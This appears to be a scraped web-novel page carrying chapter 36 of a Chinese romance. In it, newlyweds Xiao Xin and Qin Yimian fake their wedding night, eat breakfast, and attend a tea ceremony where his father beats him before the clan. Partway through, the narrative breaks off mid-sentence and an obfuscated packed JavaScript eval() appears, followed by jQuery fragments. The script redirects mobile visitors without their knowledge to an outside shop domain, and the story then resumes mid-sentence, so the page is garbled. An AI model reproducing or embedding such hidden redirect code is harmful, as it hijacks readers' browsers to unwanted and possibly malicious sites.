文趣网 > 其他小说 > 今天萧信后悔了吗? > 36. 第 36 章
    清晨,薄雾朦胧,张妈妈带着两列侍女等候在婚房外。

    眼看晨雾逐渐散去,时辰差不多了,张妈妈叩门道:“公子,少夫人,该起了。”

    萧信被叩门声吵醒,看到喜气洋洋的红,才想起昨天他已经成了婚,而且没有去迎亲,祖母少不得为他的事淘气。

    现下他睡在地上,要是被下人看见,又是一番官司。

    门外叩门声又响起,“公子、少夫人。该去敬茶了,别误了时辰。”

    萧信忙把两床被子卷起来,往立柜里一扔。人也飞身往床上去。

    床上的榴开百子帐本自掩得严实,他这一坐一压,塌了半幅。

    秦意眠迷迷糊糊间听到“砰”的一声,只以为自己还在云州。闭着眼睛问道:“盈月,怎么了?打雷了吗?”

    萧信不管那帐子,开始解下外裳,把革带搭在床沿,对里头道“把衣裳脱了。”

    秦意眠冷不丁听到这么一句,惊得魂飞天外。竟然是个男子的声音,想起她看过的游侠小说,难道遇到采花贼了?

    她瞌睡浑然吓醒。猛坐起身,险些磕到了头,才记起来这是新房。

    男子的声音继续说道:“愣什么?脱衣服。”

    秦意眠“哦”了一声,他坐在床沿,近在咫尺,红帐子像给他也蒙上了红盖头。脸又俏,鼻又挺,原来不是采花贼,是萧信啊。

    她依言除去外裳,只余红色里衣,才明白他的用意。

    果然萧信已掀了帐,进了帐子里,身上也只剩一件里衣。

    四目相对,两人都颇觉尴尬。

    她呆愣愣的,还以为是天打雷了呢,萧信哼笑。

    “昨夜我们怎么样?”他引诱道。

    “凤协鸾和。”秦意眠低眉答道,脸有些发烫。

    “被翻红浪。”萧信接着把鸳鸯被搅得更散乱一些。

    “要是我祖母问,你知道该怎么说?”

    “知道了,只是…”

    秦意眠忽然想起一件事,语气迟疑。

    “只是什么?不许多说一个字,要是敢告状…”萧信紧紧盯住了她。

    有她的好果子吃么?他又出言威胁,他要是不威胁。她自然不卖他的底。

    现下秦意眠把话咽了下去。暗道只是这都是白费的功夫,他不知道有帕子么?她脸飞红霞,本来也说不出口,乐得不说了。

    外面张妈妈见半晌不闻声息,又开始叩门:“老奴进来了。”

    萧信见她敛目不语,料她已服了,扬声叫道:“进来。”

    张妈妈带了八个侍女进来。

    萧信不意一下子进来这许多人,皱着眉,脸色颇是不喜,问道:“哪里来这许多人?”一面掀了帐子施施然起身。

    张妈妈笑道:“知道公子不喜欢眼前人多,这些侍女原是分派来服侍少夫人的。新嫁娘新婚第一日,可不得珍重些,冷冷清清的成什么话?若只是公子,我老婆子也不来讨嫌,这是太夫人吩咐的,公子有话,只和太夫人说去吧。”

    萧信哼一声,自顾自往与卧室相连的净房去了,并不多看女婢一眼。

    张妈妈说了这一篇话,来帐子里伺候意眠起身。

    秦意眠见她面目柔和,眼神慈祥,不由心生好感。

    “不知妈妈如何称呼?”

    “奴婢姓张,本是伺候太夫人的。公子小时候长在太夫人身边,不几年公子大了,迁到松风院,奴婢也跟到了公子院子里。”

    秦意眠见她身后几个丫鬟都手捧巾帕盆盂,神色恭敬。

    心下好奇,却不便发问。

    张妈妈扶着她坐下,等她洗漱时,一边道:“这些丫鬟往后都是伺候少夫人的,等少夫人得了空子,再叫她们一一回话。眼下却是要先去太夫人那里敬茶的,您且先不去理会这些人。”

    秦意眠漱了口,“张妈妈知不知道我的两个丫鬟哪里去了?我叫她们守在喜房外的。今晨却不见进来。”

    “莫不是被哪个管事婆子婶娘叫走了。少夫人放心,我这就着人去寻寻。”说着指派了一个丫鬟。那丫鬟应了,便去寻了。

    秦意眠洗漱已毕,张妈妈亲来给她挽发。

    见她对镜而坐,容光焕发,不由赞叹:“少夫人这样的颜色,这些脂粉还只怕污了去,索性少抹些才好。”又给她挽了一个燕尾髻。

    秦意眠揽镜自照。只觉得少妇形制的发髻梳在自己头上难免眼生,却颇是好看。

    “多谢张妈妈。”

    张妈妈听新妇语音宛转,说不出的清脆,又这么知礼,心下又爱她一分。

    “少夫人别嫌奴婢手粗笨,旧年也是给太夫人侍弄头发的。倒只有这点子拿得出手了。”

    秦意眠怕迟了不尊重,道:“既是给祖母尊长们请安,咱们这就去吧。”

    “不急,先用了早饭,我是看着时辰来请少夫人的,眼下还宽裕,太夫人慈和,各房都是自己院子里吃了再去的,少夫人这回子去了,难免饿肚子。”张妈妈轻拍她的手。

    她一面说话,一面又使人传饭。

    正说话间,刚指派去的丫鬟回来了:

    “回少夫人,张妈妈,少夫人带来的两位姐姐已在下房安置了。说是夫人身边的菊妈妈见他们辛苦,特安排他们歇下。奴婢去寻的功夫,两位姐姐还在听菊妈妈的嘱咐,也就来了的。”

    秦意眠听得张妈妈刚才与萧信对答语气随意,下人对她回话也恭敬,想必这位张妈妈是将军府有体面的人。又听盈月盈袖也被安排妥当,本来还担心自己门第微薄嫁入这将军府,少不得有刁难。没想到这些仆妇如此和善。心下更是一松。

    见回话的丫鬟鹅蛋脸,眉眼间颇有神采,问道:“你叫什么?”

    “奴婢双儿。”丫鬟回道。

    “这是府里的二等丫头,如今拨给少夫人,公子院子里从没有一个女使。少夫人看着哪个好,将来提拔哪个也就是了。双儿也好,单儿也好,头一件要少夫人用着欢心。”张妈妈看一眼那丫鬟,见她腕上那对镯子不像家下人的分例,心里略一嘀咕。

    她一面打开东面的顶箱柜:“少夫人的嫁妆还未来得及规整,这些衣物都是按着少夫人家里送来的尺寸做的,您看看今天穿哪身?”

    秦意眠只见满眼锦绣,目不暇接,大红、桃红、鹅黄、葱绿、宝蓝、藕荷、月白的裙衫,团花、云凤、鸳鸯、并蒂莲,各色纹样,不由得暗暗咋舌。

    “就那件茜红的吧。”

    “新嫁娘嘛,是该喜气盈盈些。双儿,你来伺候少夫人换衣裳。”张妈妈吩咐道。

    “是。”双儿领着几个丫鬟依言上前。

    不一会,外头又来两列丫鬟,捧着食盒碗筷杯盏等物。行了礼往西次间去了。

    张妈妈走到床边,挂好了帐子,见到那方洁白整齐帕子,心里不禁惊讶。

    依公子的脾气,昨日连迎亲也不去。拜天地也不肯拜,就是不圆房也不稀奇,太夫人早备了话教训他的,可偏偏今早上是眼看着他从床上起来的,被子也皱了,帐子也塌了,衣裳也脱了,那这是怎么一回事?

    萧信在净房里,牙刷了两遍,两个澡也洗完了,就怕出来撞见秦意眠换衣服。眼下洗秃噜了皮,外面人还在说话,还没走。

    他这松风院,从来只有他一个人,并两个小厮聆风听雨和张妈妈。

    今天一大早就是女人叽叽喳喳说话说个没完。他的衣服却还在外面,往常只需吩咐聆风听雨一声。如今这里有了女眷,聆风听雨自然不好出入,被遣去了书房愚心阁中,目下他竟是无一个人可用了。

    听到外头有脚步声,萧信大骇,生怕是新妇。

    他此时赤身露体的,新妇好莽撞,这也是随意进来的?

    萧信急往水里缩去,差点呛了一口水。

    缩好了,却见来人是张妈妈,他长松一口气,从水里冒出头。

    “张妈妈怎么进来了?”

    张妈妈神色古怪,只道:“小厮不便进来,公子没人使唤,我来给公子送衣服。”

    把衣服放下了,人却不走,远远略微打量他一眼。

    萧信不明其意,只觉得莫名其妙。他脸上长花了?有什么好看的。

    张妈妈边摇着头边走了,心想不应该呀,这么个血气方刚身强体健的少将军,难道是个银样镴枪头?也不好说,从前他身边没一个亲近的,也没人用过,要是真是个中看不中用的,那也未免太委屈新妇了。

    又念起新妇早上的神色,似喜又愁,仿佛有心事,越发叹了口气,对秦意眠怜惜不已。

    那么标致的美娇娘,愣是给他糟蹋了,哦,不对,是不糟蹋了,真是罪过。

    她出来收了帕子,摆在托盘中,拿布盖了,叫丫鬟看着,又往摆饭的西次间去。

    秦意眠看着丫鬟们从食盒里端出早饭摆在桌上,水晶包、鹅油卷、椒盐小酥、羊肉粥、建莲红枣汤、配菜是糟鹅掌、熏脊肉、酱瓜茄。

    不由感叹,早饭吃这么好,这些菜有她认识的,也有没见识过的。不由食指大动,却不好独自动筷。

    正馋时,就见萧信迈着长腿从外头进来。

    一身宝蓝圆领袍,玉带勒出紧窄腰身,丰神如玉,目含明星,就是脸色冷了些,也当得冷俊二字。

    此时屋外霞光缓照,红日初升,就照在他身上。

    他这么一走进来,比昨日

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17951554|210127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    映着烛火,隔着帐子更好看百倍。

    秦意眠兀自出神。

    听人说灯下看美人更胜白日十倍,萧信他,恰恰相反,白日风采更为皎然,果然观美一事也要躬行啊。

    丫鬟仆妇纷纷行礼,只有那个坐着的女人看着他瞧。

    萧信深思,低头打量自己一番,又摸了摸自己的脸,今天果真他脸上长了花还是生了三头六臂,张妈妈刚莫名其妙地看着他,这个女人也是。

    他本来也饿了想吃早饭,现在没胃口了。

    秦意眠回了神,赶忙上前行礼,福身道:“夫君。”

    萧信心里啧啧,又是夫君。记得志怪书里通术法的人,念几句咒语就想把人降服。莫非夫君是她的咒语?那可打错了主意。

    他不应声。

    “夫君用饭吧。”

    萧信冷着一张脸。

    秦意眠见他不动,才想起来,这位俊郎君是个霸主脾气,真是美色惑人,刚刚她竟看直了眼,又落在他眼里,不知要何等刁难。

    萧信还有几句话要吩咐,只是旁边围了这么多人,他一时踌躇。本来想告诫秦氏,等会在祖母面前该如何如何的,倒不好出口了。

    秦意眠只思忖着伸手不打笑脸人,她笑语盈盈,料他也不好发难。

    于是学了古书上的梁鸿接了孟光案,在桌上取了碗勺,给他盛了粥,捧给他吃。

    她从没见过别家夫妻如何相处,见得多的只有自己的父母,但是自己的爹娘,是恩爱的神仙眷侣,那种亲昵情态自然不能跟萧信照搬,但是恭谨些总没错的吧。

    萧信见她竟捧了粥饭过来,也不好立时拔脚就走。别的且不说,只说祖母面前,以后还要她遮掩。

    他接了那粥,坐于桌前吃了起来。

    意眠与他同桌而对,心里是说不出的欢喜,为着这可餐之秀色,暂把昨日之种种烦恼抛诸脑后。端起红枣汤喝了,只觉香甜可口。

    一时盈月盈袖也回来了,夫妇俩吃完了饭,张妈妈捧着那盘,跟在他二人后头往遂安堂去。

    但见前头行着的两人,男子英武,女子娇柔。再般配不过的一对璧人。

    张妈妈的目光落在了托盘上,心思复杂,谁承想,暗里却是这么个情形。

    少将军是练武练坏了?不应该啊,小时候明明好好的,也不知道还有没有得治…

    几人到了遂安堂,秦意眠走进去,济济一堂满满当当。今日敬茶,萧信宗族里的亲戚都已过来。

    上座一位年迈妇人,容色和蔼,气质雍容,头发花白却精神矍铄,应是萧信祖母罗太夫人。其下左首是一位中年男子,应是萧信之父萧晗。右首一位中年妇人。

    秦意眠不敢多看,急忙要下拜时,只听那男子喝道:

    “小畜生,你还敢来?”

    自然不是骂她了,那就是骂萧信了。

    她正惊诧间,那中年男子已不知从何处抽起一条长棍,劈头盖脸就往萧信身上打去。

    萧信不闪不避,跪倒在地。

    “各位族亲都在,也做个见证,索性今天把小畜生一气打死,免得留了祸根。”萧晗语气森森,又怒又威,转而看向意眠,和缓了声色,“新妇往旁边让让,别伤了你。”

    大夫人罗氏已起身下座,把意眠搂在怀中,避在一边。

    “你何时藏的棍子?新妇进门,非得是今日打他,成了家的人了,不给他留一点脸。”

    “棍子就在娘的椅子底下,娘今日连拐杖也不用,不就是怕我打他。”萧晗回了母亲的话,看向萧信的目光却好像能喷出火。

    “小畜生,累你祖母操心劳神,你说该不该打?”

    “爹要打就打,我头歪一下,我就是小畜生。”萧信梗着脖子。

    萧信这话里的意思自然是骂萧晗是畜生,萧晗更是气不打一处来。偏小畜生几个字是他当爹的自己嘴里说出来的。

    萧晗涨红了脸,下死手又打。

    旁边围观的各路亲戚还没有从新妇莲步轻移、婀娜风流的美态中回过味来。眼见情势紧张,忙一路上去劝架,抱着萧晗的腰的、抢棍子的、扶萧信的,七手八脚。

    宿将萧晗却没那么容易被制住,更别说被夺了武器。棍子依旧舞得虎虎生风。

    秦意眠大开眼界,暗赞不愧是武将世家。

    看着中间那个挨打的人,又有点说不出的心疼。

    萧信脊背挺得笔直,被人拉了也不起,倔着脸一声不吭挨揍。

    “别打我孙子!”罗太夫人喊道。

    “不许揍我夫君!”秦意眠高呼。

    两人几乎异口同声,堂中一静。

    随后齐齐看向新妇。